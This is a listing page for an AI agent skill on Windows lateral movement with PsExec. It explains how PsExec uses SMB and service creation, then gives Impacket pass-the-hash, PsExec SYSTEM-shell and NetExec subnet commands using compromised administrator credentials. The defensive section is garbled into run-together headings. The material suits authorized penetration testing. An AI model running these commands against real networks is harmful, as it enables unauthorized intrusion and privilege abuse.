Psexec lateral movement
Skill ShulkwiSEC/bb-huge/skills/curated/psexec-lateral-movement
Execute commands and binaries on remote Windows systems utilizing PsExec and SMB/RPC mechanisms. This skill details the mechanics behind tools like Sysinternals PsExec, Impacket's psexec.py, and their role in lateral movement via hidden administrative shares.From its SKILL.md
npx -y skills add ShulkwiSEC/bb-huge --skill psexec-lateral-movementAssembled from the repository path, not quoted from the project. Check it against their README if it does not work.
One thing to look at
- 21 stars21 stars. Stars are a popularity signal and not a quality one, but at this level it is likely that nobody has read this closely except its author, and you would be relying on your own review.
What its file declares
Copied from the file, not written here
The file declares its own license as Apache-2.0. That is the author’s claim about this one file, and it is not the same thing as the license GitHub reports for the repository, which is listed with the other numbers below.
SKILL.md
4.4 KB, 983 tokens by cl100k_base, as published. Nobody here has run it
Lateral Movement via PsExec
When to Use
- You have compromised valid domain administrator credentials or a local administrator account for a target system.
- You need to obtain an interactive command shell (
cmd.exeorpowershell.exe) or execute a payload on a remote Windows machine. - SMB (Port 445) and RPC (Port 135) are accessible.
Prerequisites
- Authorized scope and rules of engagement for the target environment
- Appropriate tools installed on the attack/analysis platform
- Understanding of the target technology stack and architecture
- Documentation template ready for findings and evidence capture
Workflow
Phase 1: Mechanics of PsExec
PsExec works by performing the following actions:
- Authenticates via SMB over Port 445.
- Connects to the
ADMIN$hidden share (usuallyC:\Windows). - Uploads a service executable (e.g.,
PSEXESVC.exe). - Uses the Service Control Manager (SCM) via RPC to create and start a Windows service wrapping the executable.
- Communicates input/output back via named pipes over SMB.
Phase 2: Remote Execution with Impacket (Linux)
# # impacket-psexec Administrator:[email protected]
# Using Pass-the-Hash (PTH) impacket-psexec -hashes aad3b435b51404eeaad3b435b51404ee:88e4d9fabaecf3dec18dd80905521b29 [email protected]
Phase 3: Remote Execution with Sysinternals PsExec (Windows)
# # PsExec.exe \\192.168.1.100 -u Domain\Administrator -p Password123! cmd.exe
# Execute SYSTEM shell PsExec.exe \\192.168.1.100 -s -u Domain\Administrator -p Password123! cmd.exe
Phase 4: Automated Lateral Movement with CrackMapExec / NetExec
# netexec smb 192.168.1.0/24 -u Administrator -p Password123! -x "whoami"
Decision Point 🔀
flowchart TD
A[Check SMB Access ] --> B{Admin Privs? ]}
B -->|Yes| C[Upload Service ]
B -->|No| D[PsExec Fails ]
C --> E[Reverse Shell ]
🔵 Blue Team Detection & Defense
- Monitor EID 7045 / 4697: Hunting Anomalous Pipe Names: Disable SMBv1 and Restrict Port 445: Key Concepts | Concept | Description | |---------|-------------|
Output Format
Psexec Lateral Movement — Assessment Report
============================================================
Target: [Target identifier]
Assessor: [Operator name]
Date: [Assessment date]
Scope: [Authorized scope]
MITRE ATT&CK: [Relevant technique IDs]
Findings Summary:
[Finding 1]: [Severity] — [Brief description]
[Finding 2]: [Severity] — [Brief description]
Detailed Results:
Phase 1: [Phase name]
- Result: [Outcome]
- Evidence: [Screenshot/log reference]
- Impact: [Business impact assessment]
Phase 2: [Phase name]
- Result: [Outcome]
- Evidence: [Screenshot/log reference]
- Impact: [Business impact assessment]
Risk Rating: [Critical/High/Medium/Low/Informational]
Recommendations:
1. [Immediate remediation step]
2. [Long-term hardening measure]
3. [Monitoring/detection improvement]
📚 Shared Resources
For cross-cutting methodology applicable to all vulnerability classes, see:
_shared/references/elite-chaining-strategy.md— Exploit chaining methodology and high-payout chain patterns_shared/references/elite-report-writing.md— HackerOne-optimized report writing, CWE quick reference_shared/references/real-world-bounties.md— Verified disclosed bounties by vulnerability class
References
- Impacket Docs: impacket-psexec
- Microsoft: PsExec Documentation
What ships with it: 2 files
8.3 KB alongside SKILL.md, 1 of them executable
evals/
- evals.json532 B
scripts/
- process.pyruns7.8 KB